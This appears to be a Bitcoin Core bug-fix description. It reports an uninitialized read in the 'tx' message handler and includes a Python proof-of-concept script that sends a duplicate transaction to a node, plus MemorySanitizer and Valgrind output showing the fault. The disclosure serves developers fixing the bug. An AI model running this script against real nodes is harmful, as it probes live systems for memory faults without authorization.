Fix an uninitialized read in ProcessMessage(…, "tx", …) when receiving a transaction we already have.
The uninitialized value is read and used on L2526 in the case of AlreadyHave(inv) == true.
Proof of concept being run against a bitcoind built with MemorySanitizer (-fsanitize=memory):
0$ ./p2p-uninit-read-in-conditional-poc.py
1Usage: ./p2p-uninit-read-in-conditional-poc.py <dstaddr> <dstport> <net>
2$ bitcoind -regtest &
3$ ./p2p-uninit-read-in-conditional-poc.py 127.0.0.1 18444 regtest
4SUMMARY: MemorySanitizer: use-of-uninitialized-value
5[1]+  Exit 77                 bitcoind -regtest
6$
Proof of concept being run against a bitcoind running under Valgrind (valgrind --exit-on-first-error):
0$ valgrind -q --exit-on-first-error=yes --error-exitcode=1 bitcoind -regtest &
1$ ./p2p-uninit-read-in-conditional-poc.py 127.0.0.1 18444 regtest
2==27351== Conditional jump or move depends on uninitialised value(s)
3[1]+  Exit 1                  valgrind -q --exit-on-first-error=yes --error-exitcode=1 bitcoind -regtest
4$ 
Proof of concept script:
 0#!/usr/bin/env python3
 1
 2import sys
 3
 4from test_framework.mininode import NetworkThread
 5from test_framework.mininode import P2PDataStore
 6from test_framework.messages import CTransaction, CTxIn, CTxOut, msg_tx
 7
 8
 9def send_duplicate_tx(dstaddr="127.0.0.1", dstport=18444, net="regtest"):
10    network_thread = NetworkThread()
11    network_thread.start()
12
13    node = P2PDataStore()
14    node.peer_connect(dstaddr=dstaddr, dstport=dstport, net=net)()
15    node.wait_for_verack()
16
17    tx = CTransaction()
18    tx.vin.append(CTxIn())
19    tx.vout.append(CTxOut())
20    node.send_message(msg_tx(tx))
21    node.send_message(msg_tx(tx))
22    node.peer_disconnect()
23    network_thread.close()
24
25
26if __name__ == "__main__":
27    if len(sys.argv) != 4:
28        print("Usage: {} <dstaddr> <dstport> <net>".format(sys.argv[0]))
29        sys.exit(0)
30    send_duplicate_tx(sys.argv[1], int(sys.argv[2]), sys.argv[3])
Note that the transaction in the proof of concept is the simplest possible, but really any transaction can be used. It does not have to be a valid transaction.
This bug was introduced in #15921 (“validation: Tidy up ValidationState interface”) which was merged in to master 28 days ago.
Luckily this bug was caught before being part of any Bitcoin Core release :)